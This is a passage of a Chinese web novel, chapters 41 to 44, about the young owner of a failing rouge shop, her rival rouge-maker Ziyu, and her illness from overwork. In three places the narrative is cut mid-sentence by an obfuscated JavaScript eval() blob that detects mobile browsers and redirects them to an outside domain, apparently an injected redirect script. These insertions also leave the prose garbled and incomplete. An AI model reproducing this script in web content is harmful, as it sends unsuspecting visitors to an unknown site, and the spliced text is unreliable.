此番他还以为自己终于能光耀门楣了呢，没想到竟是被绕进陷阱里去了，枉他聪明过人，竟被一个小丫头给骗了！ 如今比下没有余，比上还容易同掌柜的和紫玉离心，真真是把他架到火上烤来了！ “哎对了，”紫玉突然想到什么，问，“既然你来了，那她去哪了？” “她？哦，你说东家啊。”莫当时乖乖回道，“她去你的胭脂房去了，说是要看看你的胭脂做的怎么样，我……” 紫玉急急打断他，高声埋怨道：“哎呀，你怎么不早说！” 说完，抢了莫当时还没喝上一口的水，“咕噜咕噜”灌进肚子里，一抹嘴，愤愤道：“不能让她毁了我的胭脂！”说完，就匆匆朝胭脂房赶去。 胭脂房。 顾名思义就是坊内研制研制的地方，起初这里还有五位制粉师，后来香玉坊败落了，偌大的房间内就只剩下紫玉一人死守着，大有树倒猢狲散之势。 白栖枝往架子上一瞧：里头红蓝花、紫铆、茉莉、益母草一用俱全，朱砂、浮石、石膏、滑石、蚌粉也被仔细地装着，分区放好，明明已购入许久，这些东西还都被保存的模样如初，可见其主用心之至。 白栖枝举步往里走，就见着粉钵里刚做好不久的胭脂。 她走上前去，用手轻轻一蹭。 “你干什么？！”身前炸开一道声响。 白栖枝看着指尖那抹红，轻轻用指腹捻去，抬头，正看见紫玉气恼地看着她。 紫玉大步上前，一把夺过她面前的粉钵，像护孩子般仔细护在怀中，柳眉倒竖、杏眸圆睁，愤愤看着她：“谁许你进来的！快出去！” 白栖枝道：“我是东家，进来瞧瞧都不可以么？” 紫玉一听，脸就涨得更红，恼羞成怒地瞪着她吼道:“少拿你东家的身份压我！你以为你是个什么东西，不过就是大爷手里的一个玩物！成天不知羞地林哥哥、沈哥哥地叫着……你以为，他们真把你当个人了？！不过就是见你小，想利用你，等把你用到没有价值他们就会一脚把你踹开，就像咱这香玉坊一样，你还真当他们是真心对你了？！” 提起香玉坊这些年受到的冷落，紫玉就想哭。 可她不能哭，粉钵就在她怀里，眼泪落下去，胭脂就不能用了。 她不能叫香玉坊的胭脂不能用！ 紫玉的泪水在眼眶里打转，白栖枝瞧着自是心疼。 可有些事容不得她细想，但凡想了，其中桩桩件件都藏着委屈。 白栖枝见她泪眼婆娑，默了默，最终还是从怀中掏出帕子，递了过去。 “啪！” 手被狠狠拍落，手背红肿，手帕跌落。 一阵若有若无的茉莉花香顺着帕子飘落的轨迹四散开来，白栖枝垂眸看向紫玉怀中的胭脂道。 …… 41. 病了 白栖枝垂眸看向紫玉怀中的胭脂道： “据我所知，香玉坊的胭脂制作工艺复杂，一般要经过采摘、杀花、揉花、晾晒等数道工序。以红蓝花为例，每年在它开花的季节，要在一天中最凉爽的时候去采摘，然后杵碓水淘，绞取黄汁，更捣以清酸粟浆淘之，绞如初，即收取染红，然后更捣而暴之，以染红色，极鲜明。[1]随即先要取落藜和蒿等草灰，以汤淋取清汁，用以揉花，此过程要反复十几次。最后，再用布袋绞取淳汁晾晒即成。是这样的吧？紫玉姐姐？” 她说得一点不差，紫玉渐渐放松下来，连带着护着胭脂的胳膊都不抱得那么紧了，面上却还僵着：“你同我说这些做什么？这些东西，随便翻书看上两眼都能知道，难道还要我夸你不成？” 白栖枝只是含笑。 “紫玉姐姐。”她说，“我知你不喜我，可我来真的是为了咱们香玉坊能重整旗鼓。我是香玉坊的新东家，除却你们我比谁都更希望咱香玉坊能好起来。我这颗心是真的，无论你信或不信，它都是真的，只可惜我不能剖出来给你看，不然你定知我满腔肺腑皆冰雪[2]，一片丹心如月明。” 紫玉拧眉怒道：“我管你什么冰雪啊明月的，我不懂，但是你说你是真心的，我不信！你既是那位的人，我便不会相信你说的任何一个字，除非——”她看向白栖枝发髻间盛开的玉兰花，“除非你现在就把头上那东西毁了，我就暂且信你！” 这如何能毁？ 饶是好脾气如白栖枝也忍不住细细拧了眉头。 “东西我毁不得。” 未等紫玉开口讥讽，她又道：“不过我手中有样东西，或许能暂昭我心。” 紫玉狐疑。 白栖枝从袖中缓缓拿出一张折叠整齐的纸片，缓缓道：“我虽不善制胭脂，却略懂书画，我仔细思量过，二者皆是作画，那么颜料落于纸上便如同胭脂敷于玉面，讲究的都是调色谐配、施彩合宜，恰巧我对设色配伍也颇有些心得，于是便写了这张方子，想着或许可以予香玉坊一救。” 她说着，将这纸片缓缓放在案上，紫玉的视线也随着她的动作落到那张薄薄的纸片上，思忖片刻，抿了抿唇道。 “我不信你。”她冷声道，“你这小丫头最是狡猾，说是这样说，没准儿就是找个由头唬我，我可不像莫伯那么好骗！我劝你赶紧把你这破纸拿走，不然，我就撕了它！” 闻言，白栖枝抬眸对上她的眼，一瞬不瞬地看着，脸上却又恢复了笑意。 “这不重要。”白栖枝语气温和道，“心长在你那里，你信不信由不得我，不过这方子确实是我连夜琢磨的——当然，若我会制粉，自然不会将它交到你手里，不然实在是浪费了我的这篇心思。不过么……”她顿了顿，“我后来一想，倘若我将此方交由别的制粉师去做，你定然不会服气，你会想：哎呀，这方子肯定不是她自个儿想出来的，肯定是让别的制粉师琢磨出来的，我才不上她的当呢！由是，我将这方子交给你，由你亲自制作，这样待日后除了结果，你就算质疑我，也挑不出我半点错处了。” 紫玉紧抿着唇，看着那张方子，不肯说话。 白栖枝只是悠然一笑：“倘若你不愿，我也可以将这方子交由其他制粉师来做，不过到时候，若是你输了，可得输的心服口服啊。” 说完，丢给她一个笑盈盈的眼神，随即飘飘然地离开了。 偌大的屋子内只剩紫玉抱着她的粉钵孤伫在原地。 她放下粉钵，手旁就是那方子，她看了看，作势捡起来就要捏着两边儿就要撕。 可真当边缘要被扯破时，她却反倒不忍心了。 ——或许可以予香玉坊一救。 紫玉迟疑了：她说，这张方子能救香玉坊，真的么？他们的香玉坊还能有救么？ 呵，有救又怎样，大爷早放弃这里了，只剩下他们四个还在念着旧想要再救一救他们的香玉坊。 可仅凭他们四个又能怎样？ 香玉坊倒下是必然的事，这里早就入不敷出了！无论他们做什么对于香玉坊来说都只是蝗臂挡车，拦不住的，大爷想让它亡，他们谁也拦不住的，更何况是方才那个连毛都没长齐的小丫头？ 可是…… 可是…… 若她真的能呢？ 那人说的什么“满腔肺腑皆冰雪”她不懂，可是，若她真的想要救这香玉坊，真的想要让香玉坊恢复如初呢？那她该不该信她…… 蓦然间，手中纤薄的纸片化作了最后一根救命草，她将它扯在手里，不敢去拔。 她怕自己这一拔，就会连带着这被他们爱如珍宝的香玉坊的根也拔出来。 随后，作为罪魁祸首，亲眼目睹它的坍塌。 …… 两日后，铺子稀稀拉拉地重新开业。 紫玉昨儿废寝忘食，马不停蹄地连夜将白栖枝给她的那个方子做了出来，可等她来到香玉坊，那个素来单薄瘦小的身影却没有出现在坊间。 那人失约了。 她明知黄口小儿之词不可信，她却偏信了，不仅信了，还傻乎乎地按着她的话将这东西连夜感知出来，只为了拿给她看！ 一时间，被愚弄的怒气冲昏了紫玉的头，正待她要发作，李素染看见了她。 “东家病了。”这是李素染头一次在白栖枝背后称她为东家，“你来的晚了，方才林府的下人来了，说东家病得厉害，恐怕这几日都来不了了。” 她病了？ 饶是如此紫玉仍有余愠：病得可真巧，不会是为了躲她先编出来的幌子吧？像她这个年纪的小孩最是狡猾，撒起谎来都不会脸红，面都见不到，谁知她是不是真的病了？最好是真的病了！ 就在她还赌气想着，李素染却眼尖地发现了她手中的胭脂盒，问道：“瞧你这一夜没睡的样儿，是熬夜研制新的胭脂了？” 紫玉恹恹一应，旁边的莫当时立马从她手里夺过，欢快道：“让我看看你又研制出来了什么好东西！” 在香玉坊没落前，坊里的胭脂几乎都是紫玉一人研制的，她心灵手巧，对于色彩极其敏感，由是凡经她手研制的胭脂，没一样是不紧俏的。 只是后来铺子没落了，她也渐渐不上心起来，研制出的东西与旁的胭脂水粉店大同小异，皆大落了俗套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903049|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。由是，大家更愿意去更便宜的铺子买，就渐渐将香玉坊冷落了。 只见莫当时兴奋地拧开盒子，用指腹沾了胭脂往自己手背上一摸，高声呼道：“呀！真不错！大家都来看看！” 随着他这一声唤，众人纷纷围了上来，就见着莫当时白皙的手背上一抹霞色淡淡晕开。 莫当时到底是个男子，就算保养得再好，一双手较之那些从小十指不沾阳春水的千金小姐们到底还是粗了些，能隐隐看清肌肤纹路。 可神奇的是，凡是那一抹霞光所在之处，竟将这些肌理纹路填得无影无踪，打眼一瞧，仿若初生婴孩般细腻。 可若只是粉感好也就算了，在颜色上，这胭脂也是娇艳无比，只这么随手一抹，看不出是上了妆，反倒更像是从皮肤里头透出来的颜色，不浓，也不淡，宛若娇俏女儿家喝醉了酒，眼底眉梢上浮出的那抹似嗔非嗔的媚态醉意，倘若细细闻起，竟还有一股花香馥郁暗含其中，实在是妙极。 见此物，就连一向老实憨厚的莫伯都不禁笑叹道：“哎呀！咱香玉坊有了这种好东西，又何愁日后不能东山再起？真好，真好！” 众人恨不得抱着团欢呼，唯有紫玉一人呆呆伫立在原地—— 白栖枝赢了，那人赢了，她就这样被一个门外汉给打败了…… 为什么？ 凭什么？ 明明那人什么都不懂，明明她才是香玉坊的制粉师，明明她才是那个用心研制胭脂的人，凭什么偏是那人赢了？！倘若她一个门外汉都能赢她，那她这么多年的付出又算什么？算她脑子笨、算她时间多么？ 凭什么！凭什么？凭什么…… 如同一记惊雷落在头顶，紫玉觉得自己浑身的血液都在逆流，她想不通，她实在是想不通，她要找白栖枝问个明白！她要知道自己到底输在哪里！ 可举目望去，哪里又有白栖枝的影子呢？ 她说她病了，她说她这几日都来不了了。 难道她是不忍来看她的笑话么？她哪有那么好心！ “哎？大功臣，你怎么了？”还是莫当时最先发现紫玉的异样，凑过去挑逗她道，“怎么？制出了这种好东西你还不高兴？你也太挑剔了！瞧你，眼底下的乌青都出来了，这几夜一定是没睡好吧？赶紧回去补补觉，咱香玉坊日后还要靠你呢！哎？大功臣，想什么呢，这么出神，你……” 周遭的一切已经听不清了，就连莫当时把着肩摇晃，紫玉也感觉不到了。 她病了，她病了，她病了…… 紫玉满脑子都是李素染的话。 既然那人病了的话，那她也应是病了吧？不然为何会四肢发麻，手脚无力呢？ 她也病了…… “紫玉？紫玉？紫玉！” 声音仿若从千里之外飘渺进了她的耳朵。 紫玉两眼一黑，再看不见众人关心的神色，随即身体一软，竟硬生生将自己气昏了过去。 …… [1]宋代的《尔雅翼》中记载的杀花程序. [2]应念岭海经年，孤光自照，肝肺皆冰雪。宋·张孝祥·《念奴娇·过洞庭》 42. 心疼 白栖枝确实病了。 她并不是个只会耍嘴皮子的人，她说要救香玉坊，那就是真的要救，自打成了东家以来，她便一直有在学习经营铺子和有关于胭脂水粉制作的书，除却这个，她还要整日想着如何与大家都心思。 由是，自接手香玉坊之后的时日里，她不是在学习就是在和铺子里的大家斡旋，一天大多只能睡上一两个时辰——这都还只是好的时候。 不好的时候她整宿整宿地睡不着觉，心力都要被那些寒冷的漫漫长夜给消磨殆尽了。 她太困了，也太累了，由是一场风就把她吹倒了，她怕再传染给大家，这才没有撑着去铺子。 沈忘尘来看望她的时候，白栖枝还裹着被子坐在床上啃书。 听到敲门声，她先是反应了好长一会儿，才开口问道：“谁呀？” “是我。” 门外传来沈忘尘的声音，白栖枝一喜，抖开被子想要开门，却还是止住了动作，婉拒道：“沈哥哥，枝枝得了风寒，若是沈哥哥此时来找，枝枝只怕这病会传染给沈哥哥，不若您先回去，等枝枝病好再去看您？” 她声音略显沙哑，像是水磨过砂砾，又带着浓重的气音，一听便是病得厉害。 饶是沈忘尘此刻也忍不住有些担忧，缓声轻哄道：“枝枝，沈哥哥就只进来看你一眼，不会有事的，枝枝就让沈哥哥进去看看，好不好？” 他这语气实在是温柔，又掺了几分执拗，白栖枝怕自己不开门，他就会在外头一直等着，几番思量之下，最终还是披了衣裳，趿着鞋前去开门。 门开的刹那，映入沈忘尘眼帘的是一张比雪还要白的小脸。 白栖枝本就身子单薄，这一病，脸都跟着苍白起来，站在那里就像个纸剪出来的小人，风吹就倒，承不住半点重量。 “沈哥哥请。” 白栖枝将身一侧，下人缓缓推着沈忘尘进屋，待固定好轮椅，他极有眼力的垂首退出，将一切都留给了屋内两人。 “咳咳咳……” 一串咳嗽打断了屋内的寂静，见沈忘尘一直看着自己，白栖枝拢了拢身上的斗篷，坐到他面前，用袖子遮住下半张脸问道：“沈哥哥怎么来了？枝枝如今正病着，若传染给了沈哥哥，只怕沈哥哥又要难受了。”说完，偏过头，又牵扯出一串激烈的咳嗽。 沈忘尘看她这样，忽地打内心中生出了一股浓浓的心疼，就连眉头都不自觉地拧了起来。 他顺着白栖枝偏头的地方看去，在她床边，堆积着小山般高的书籍，书籍之下，一张张写满了字迹的麻纸散落在床边。 地上还放着一盏小小的烛台，上头的蜡烛烧得几可见底，如果沈忘尘记得没错，他昨天还见着下人给白栖枝送蜡烛呢，用的如此之快，只怕她昨日是一夜未睡。 白栖枝回过头，就见着沈忘尘在朝她的那些手札看。 “沈哥哥要看看么？”她只以为他是对那些东西感兴趣，起身蹲到床边将那些散乱的手札一页页捡起来，捋好，递到沈忘尘面前解释道，“这是枝枝这几日学来的东西，除却有关店铺经营之外，还学了一些有关胭脂水粉制作的方法，待枝枝掌握了这些，香玉坊应该也差不多可以开张了。” 沈忘尘看着那一沓约有指腹高的手札，接过来，看着上头书写干净的簪花小楷，翻了翻，抬头又看向白栖枝那张淡得几乎没有血色的小脸，第一次有心疼一个人心疼到眼眶发紧的感觉。 他吸了吸方才在外头冻得通红的鼻尖，垂眸看着自己腿上那一沓纸，淡声道：“枝枝何必如此累自己？有枝枝在，香玉坊开张不过就是一两天的事，可若是枝枝累坏了，坐了病根，沈哥哥和你林哥哥可是会心疼的。” “只是风寒，不会留病根的。”白栖枝看着那沓纸出神，忽地又拧眉，担忧道，“我病了倒是不打紧，只是今日香玉坊开业，我不在，也不知他们做的如何了。虽说那几位在坊里的时间都比我久，可他们太久没有重新开业了，只怕是会怠慢了客人。若我能在一旁看着就好了，只是我这病极易传染，若是一不小心传染给了他们，那坊内又得关店好几日，便还不如不去，操心是操心了些，总归不耽误开业，也算是为他们做了件好事，只希望他们不要怪我……” 说到这儿，她似是又想到了什么，从沈忘尘腿上拿过那沓手札，边翻边急急道：“对了，沈哥哥，前几日枝枝在记录这些东西时，忽地从书内找到了一个新法子，不仅省钱，就连做出的胭脂也品质极佳，如若我们之后能一直用这种法子，或许可以超过其他胭脂铺子……啊！找到了，在这里，您看——” 白栖枝兴高采烈地将记好的手札交给沈忘尘看，边指，还边给他讲解制作方法，身体凑近时，沈忘尘甚至还能闻到她身上淡淡的药苦味，忍不住抬眸看了她一眼。 白栖枝并没有发现他这偷看的一眼，依旧指着手札一点点地解释，可倘若她在此时抬眸，一定会与沈忘尘的目光撞个满怀，也一定会知道自己现在离他的距离太近了。 太近了…… 几乎就像是小孩子在贴着大人撒娇，分享着自己手里的小宝贝。 见她一直沉浸在书中，沈忘尘这才暗自松了口气，稳下心往她手指的地方瞧。 白栖枝在手札上记得极为详细，再加上她解释时措辞极为明确清晰，饶是从来不懂如何制作胭脂的沈忘尘，在她的讲解下也渐渐生出几分豁然之意。 “还有这个。”白栖枝哗啦啦地翻着手札，又指着一处，朝沈忘尘解释道，“我还查了好几本关于如何经营铺子的书册图集，结合如今香玉坊的状况，我打算……” 一阵冰凉自手腕处传来，制止了她想要说的话。 “可以了，枝枝，歇一歇吧，哪怕是为了沈哥哥和香玉坊，也暂且歇一歇吧。”沈忘尘拧着眉，眼底满是心疼，就好像这病不在白栖枝身上，而在他身上。 望着他那双茶雾般氤氲的眼眸，白栖枝渐渐平静了下来。 “不能停啊，沈哥哥。”她第一次主动拿掉沈忘尘的手，拢在自己手心里，认真道，“沈哥哥，我听不了的，若连我也停了，那他们该怎么办呢？我不止一次答应过答应过他们要把香玉坊重新撑起来的啊，若连我也言而无信，那他们还能再相信谁呢？“不能停啊，沈哥哥。况且我只有这一次机会了，我不能停，我得学啊，我不能停啊……” “啪嗒。” 白栖枝实在是病得糊涂了，连自己哭了都不知道，就任凭自己的泪点坠在沈忘尘白嫩的手上。 沈忘尘静静地看着她——这是小姑娘自那次挨打后第一次掉眼泪，包含了她后半生的自由，重重地落在他的手背上，竟一度灼得他发疼。 自己的手还被拢在白栖枝手中，沈忘尘小心翼翼地抽了出来，抚上白栖枝的脸颊，怜惜地，为她擦去那道在她脸上蜿蜒的泪渍，随即垂下手，反过来将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噗，傻孩子。”瞧她这幅可怜模样，沈忘尘实在是忍不住了，一边加大力度揉她脑袋，一边看着她因为被揉头而前后左右地摇摆，轻轻笑道，“万事开头难，更何况枝枝还是第一次自己经营一间铺子，有很多事情不会也是正常的，能做成现在这个样子，枝枝已经很厉害了，别难过别难过……” 白栖枝擦了擦眼睛，从嗓子眼里挤出一声呜咽：“呜……” 枝枝好难过，但枝枝还得擦干眼泪继续学。 “沈哥哥。”白栖枝手动让自己平静了一下，小脸上又恢复了那副不以物喜不以己悲的神色，淡淡说道，“枝枝还在风寒，就不和沈哥哥说太多话了，沈哥哥快走吧，不然一会儿就真的要被枝枝传染上风寒了，风寒好难受的，枝枝不想沈哥哥也难受。” “傻孩子……” 眼见着白栖枝开门去唤小厮，沈忘尘看着自己空落落的手心，心中五味杂陈，但最后只是在众人不察觉时偷偷叹上口气，说了句“枝枝好好休息”后就被下人稳稳推走了。 没办法，谁让如今他是这样一副身子，好多事都由不得他，他除了心疼，真就束手无策了。 等到沈忘尘离开，一直忍着咳嗽的白栖枝这才痛痛快快地剧烈咳嗽起来，待到止住，又觉得人中上热热，以为是泪，一抹，竟满手殷红。 都怪她心火太旺，竟在这时冒出鼻血来，还好沈哥哥没有看到，不然该吓到他了。 想着，白栖枝用手狠狠一抹人中，又用手帕塞住鼻孔，待一切处理完毕后，又拾起桌上那沓厚厚的手札，继续研习书本去了。 …… 43. 不甘心 铺子连着两日未开张，大家最初的那点子激情早就被磨灭了。 四人中，该嗑瓜子的嗑瓜子，该去花楼的去花楼，只剩下莫伯一个人还在踏踏实实地清点货物，做着自己的本分事。 一切都照旧进行着，唯有紫玉蔫的厉害，连找那些个公子幽会的心情都没有，在店里拉个凳子一坐就是一天，魂都不知道丢哪了。 倒也不是真的丢了魂，只是她想不明白自己到底是输在了哪里。 白栖枝没来的这两天，紫玉算是无聊透了，她想冲进林府把白栖枝捉出来问个明白，可转念一想，又觉得没必要，聪颖如她，难道真想不出半点诀窍？ 就在她还看着铺子里的胭脂出神的时候，一阵脚步声匆匆从外头传来，随即一个人影风风火火地闯进来。 李素染还以为是来新客了，刚放下瓜子摆出一副笑脸想要上前迎客，可真当看见那张脸后，她翻着白眼长叹口气，又将放下瓜子抓起来了。 她拨了拨手中的瓜子皮，看都不看莫当时一眼，冷冷问道：“瞧你，跑的这么急，不知道的还以为有姑娘在后头追你，怎么？又在外头欠了花花债，让紫玉陪你演戏？” 莫当时赶紧一摆手，激动道：“哎呀不是！是好事！” 李素染道：“你不给我们惹麻烦就不错了，能带来什么好事？” “真是好事！”莫当时气喘吁吁地走过来，将手掌一摊，神神秘秘道，“掌柜的，你看——” 李素染顺势看去，是二百文钱，她略略抬眼看了莫当时一眼：“怎么？有花楼的姑娘给你赏钱了？以你的皮相来看，这给的也不多啊，你高兴个什么？” 莫当时当即跳脚：“什么赏钱！掌柜的你也太侮辱我了！这是咱开张的钱！” “开张！”李素染的眼睛登时就亮了，连带着口中的话都语无伦次起来，“这、这、你、这……你从哪开的张？” 莫当时得意洋洋道：“当然是花楼里了！我把咱新出的胭脂带去给花楼里的那些姑娘，姑娘们都说好呢，当即就把我手里头那盒给买了。只是这一盒实在不够分，姑娘们又急着要，催着咱赶紧多出几盒呢！” 他说得骄傲，仿佛自己做了天大的好事，眼底眉梢里都透着狡黠，仿佛一只男狐狸精，正身后看不见的尾巴往天上翘。 “你小子！没白逛嘛！”李素染见了钱，眼睛都发绿，赶紧将莫当时手中的钱抓到自己手里，一文一文地拨着数，数了三四遍，边数边道，“这样，以后你逛花楼，我这做掌柜的再也不管你了，不过你可要多多给咱香玉坊拉客，不然，我还要怪罪你！” 莫当时当即摆出一副“舍我其谁”的模样，拍拍胸膛，一口应道：“放心吧掌柜的，保证让咱香玉坊赚得盆满钵满！” “哎！紫玉！”李素染转头想叫紫玉再多做几盒好把这破天的富贵给接住咯！ 可一回头，那人竟在流泪。 “紫玉？”李素染担心地走上前去，关切道，“没事吧？是不是最近太累了，还没有休息好？这胭脂也不急，你好好休息，等休息好了再做也不迟。”说完，故作轻松地耸耸肩，逞强道，“哎呀！你们呢，把好身体养好才是大事，反正这次就这几单而已，丢了就丢了，咱香玉坊不缺这点钱！” 紫玉何尝不知道李素染有多看重这次的机会？ 她哪能因为累，就把这次的机会给辜负了呢？ 更何况她也不是累，只是……只是心里有点酸酸的，旁人不知道但她不能真糊涂，这方子是白栖枝开的，她只是按着上面的一步步做罢了，她不是功臣，白栖枝才是。 可这些事她又该如何开口呢？ 说不出的…… “我没事。”紫玉狠狠抹了把泪，嘴硬道，“我就是有点想陆公子了，他上次说好要带我去北名大街上逛的，结果这几日都没来找我，肯定是有新欢了！他这个负心汉！我再也不要喜欢他了！我再也不要喜欢他了……” 她哭得厉害，众人都不知她为什么哭得这么厉害——毕竟她也不是什么喜欢一颗歪脖子树上吊死的人，若放在以前，陆公子不行她就去找李公子，李公子不行还有王公子、裴公子、赵公子……反正那么多公子她连轴转，就算丢了一个也无所谓。 可如今她哭得这样厉害，众人不知其中意味，只以为她是当真喜欢上了这个劳什子陆公子，纷纷怒从心中来，跳脚骂道： “哎呦，他就负心汉！不得好死的负心汉！敢欺负咱们紫玉，他活得不耐烦了吧他！紫玉你也别伤心，等明儿我去要个麻袋，咱们把他套进麻袋里打，指定让他长记性！” “就是就是，掌柜的说得太对了！不仅要打，还要给他打破相！真是仗着自己长得有点姿色就敢随意辜负了咱香玉坊最年轻最貌美的售货娘子，真是瞎了眼！我真是！我真是！我这就去找麻袋套他！” 说着，莫当时撸起袖子就要往外冲，好在李素染和莫伯拦住他，不然他就真要去做什么傻事了。 演完这一套戏，大家又纷纷回看向紫玉，一声大气都不敢喘，小心翼翼地揣摩她的神情，生怕她一个情绪不好又大哭起来。 紫玉：“别划他的脸……” 众人没听清：“什么？” 紫玉哭得更厉害，连带着鼻涕泡都要冒出来了：“呜呜呜……你们别划他的脸，我不喜欢丑东西……” 众人：“好好好，我们不划，不划了。” “还有你！”紫玉看向莫当时，眼睛红红的像个兔子，“我喜欢他关你什么事啊！你还要找麻袋去套他！你认识他么你？” 莫当时：“我这不是看你哭得伤心哄哄你么……” “才不要你哄！”紫玉愤愤道，“你天天往花楼里头钻，今儿找这个，明儿找那个，整天身上一股子勾栏脂粉味儿味儿，还好意思说人家？” “哪里是勾栏脂粉？”莫当时暗戳戳地反驳道，“分明是咱香玉坊的胭脂味嘛……” 话音未落，就挨了李素染一杵子，后者瞪着他，叫他不敢再说话。 紫玉说了他一通，气儿也消了大半，连带着心里头堵得那口气都渐渐散了。 “不行！”她狠狠抹了把泪怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫当时：不要啊！！！ 胭脂房内。 紫玉鬼使神差地又拿起了那个令她输的彻底的方子。 她气不过，又要撕。 可到底还是舍不得。 她不明白自己究竟输在哪里了，明明这方子跟她平时做的那些也没差上多少，怎么就叫她输了个彻底呢？ 想她从十四岁就开始学着做胭脂了，学到如今，就算不是大师也应是个极好的制粉师了，怎么就输给了一个刚才铺子几天毛都没长齐的小丫头呢？ 这不能够的呀…… 这事儿紫玉连着想了好几天了，每天是饭也吃不下觉也睡不着，一躺在床上翻来覆去想的都是这事儿。 她实在是不明白。 由是，她决定去找白栖枝问个清楚。 这次可不是说说，她是真的要去找了，因着不服输，因着咽不下这口气，她也一定要去找了。 她不甘心啊！ 随意用凉水抹了把脸，看着还泛红的眼眶，紫玉狠狠揉了两把，就往外走。 众人见她心情好多了，也没拦着，就当她是要去找那什么陆归舟要说法，随她去了。 紫玉是一路摸索着到林府的，她许久没来了，甚至都快忘了来这儿的路，却仍清楚地记得自己和掌柜的曾在这儿跪过一天。 一天啊，他们跪了整整一天，却连大爷的一个眼神都没得到。 多可笑。 …… 44. 相撞 漆红大门外，紫玉踟蹰不肯前。 门后就是白栖枝住的地方，她只要敲敲门，请人通融一声就能进去了，可是…… 若真见着了，她又该怎么开口呢？若撞了大爷，她该怎么说呢？若先看见的是那人，她该不该回避呢？ 无数个念头在紫玉心头徘徊，就在她绞着手指在门前走来走去时，厚重的大门突然传来“吱呀”一响。 门开了。 对上门后人的眼睛，紫玉愣在原地，不知道该说什么，还是被遣出来买药的小厮上下打量她一阵后开了口：“你是什么人？” “我，我是……”紫玉牙一咬，心一横道，“我是香玉坊的掌柜的，听闻东家染了风寒，特来此探望……” 小厮皱了眉：“香玉坊？没听过，你们东家是谁？” 紫玉道：“就是白栖枝白小姐。” “她呀——”小厮眉头皱的更紧了，不耐烦道，“不过是个来投奔大爷的孤女，仗着有沈公子撑腰，倒还真把自己当个人物了，还东家？她也配！” 紫玉闻言一愣，不确定道：“孤女？” 小厮“嘶”了一声，疑惑道：“你不知道？” 紫玉摇摇头，小厮瞧见四周无人，关上门同她讲起了关于白栖枝的事。 “她啊，是去年秋跑到咱林府门口的，穿得那叫一个破破烂烂，跟叫花子似得，撵也撵不走，要不是沈公子好心叫人给她开门，她早就饿死在外头了！进了府，大爷不待见她，她却一点眼力见儿也没有，老是惹大爷生气，我听说，有一次她不知道惹到大爷什么，气得大爷都一巴掌把她嘴角都给打冒血！就这，她还不消停呢吗，非要跟大爷犟，说什么‘你今天打不死我日后我就要打死你’。瞧瞧！这是她一个小姑娘该说的话么？要我是大爷，我也非得扇她不可！再说了，大爷可是从来不和女人置气的，能被气成那样，指定是做了什么见不得人的事，大爷那时候肯定是迫不得已，这才不得不打了她，不然……” 他说得正津津有味时，紫玉忽地打断了他，反问道：“你何以见得她一定做了什么见不得人的事？” “害！大家不都那么说么？你想啊，她一个小女娃，从长平赶到咱淮安来，少说也得三四个月，一路上又只有她一个人，指不定早就做过些什么呢，这还用想？” 紫玉气极。 她虽不喜白栖枝，可她也是女儿家，听见白栖枝被如此龌龊地揣测，她甚至都觉得自己都被侮辱了！ 可这小厮毕竟是林府的人，她再怎么生气，也是不能得罪的。 紫玉忍而不发。 那小厮又道：“这还只是她刚进来的时候，到后面，她拜了沈公子为师，就更是不得了，仗着沈公子给她撑腰，三天两头的跟大爷顶嘴，记得吵得最激烈的一次，她还逃出去了，只不过后面又灰溜溜地回来了，水鬼似得，听说是为了跟大爷证明自己一个人也能活下去，大雪天的跳进结冰的湖里给人家小姐捡手帕，就这么拼命，也才赚了一块小碎银子，傻不傻？你说她傻不傻？” “……”紫玉沉默着不说话。 “害，不跟你说了。”眼见着就快要到晌午了，小厮短叹了口气道，抱怨道，“这两天她得了风寒，大爷非要派我给她买什么药，一个撵不走的贱骨头，得个风寒就像要她命一样，倒还真把自己当主子了！” 不过抱怨归抱怨，见紫玉一脸急样，他也好心地转过身朝右手边一指，同她道：“喏，侧门就在那，你从那里头进去，若有人问，你就说明自己的身份，应该不会有人拦你，我还要给那贱骨头买药，就不跟你多说了，你赶紧去吧。” 说完，小厮就大步离开了，徒留紫玉一个人站在原地。 竟是如此么？ 原来她真不是和大爷一伙，也不是和那人一伙儿想要来搞垮香玉坊的。 自己竟错怪了她…… 想起自己自打见过白栖枝后对她说的那些话，紫玉只觉得有什么东西梗在自己心口里，堵得她好疼。 那是一种说不清道不明的感觉，既有愧疚，又有心疼，还掺杂了些别的心绪，棉花似得塞在她喉咙间，几欲令她窒息。 ——到底还是要见一见的。 想着，紫玉来到侧门，敲了敲门，门开，她报了自己的身份，果然没人拦她，她就这样顺顺当当地进了林府。 林府好大，她又是第一次来，弯弯绕绕地就没了方向，无头苍蝇似得走着，一个没注意，和旁人撞了个满怀。 “啪——” 药碗落地即碎，连带着里头刚熬好的汤药都喂了雪，气得春花立即大骂起来：“哎呀！是哪个不长眼睛敢撞你小姑奶奶我？不要命啦！” 紫玉摔倒在地，看着怒气冲冲的春花，一时间，竟反应不过来。 春花从地上爬起，掸了掸身上的雪，朝着罪魁祸首怒目而视：“瞧你这穿着，不像是府里头的人……说！你是谁？来林府做什么？！” 许是官大一级压死人，春花到底是林府里的丫鬟，生气起来都有林府人的做派，对着她那张生气的脸，紫玉一下子就想到林听澜那张面无表情的脸，脑内当即一阵空白，张开嘴口想说些什么，却紧张得连半个字都吐不出了。 “不说？”春花怒气冲冲地挑了眉头道，“不说那你就是偷闯林府的贼人，来人啊！来人啊！有贼！有……” 紫玉惊慌道：“不是，我不是贼！” 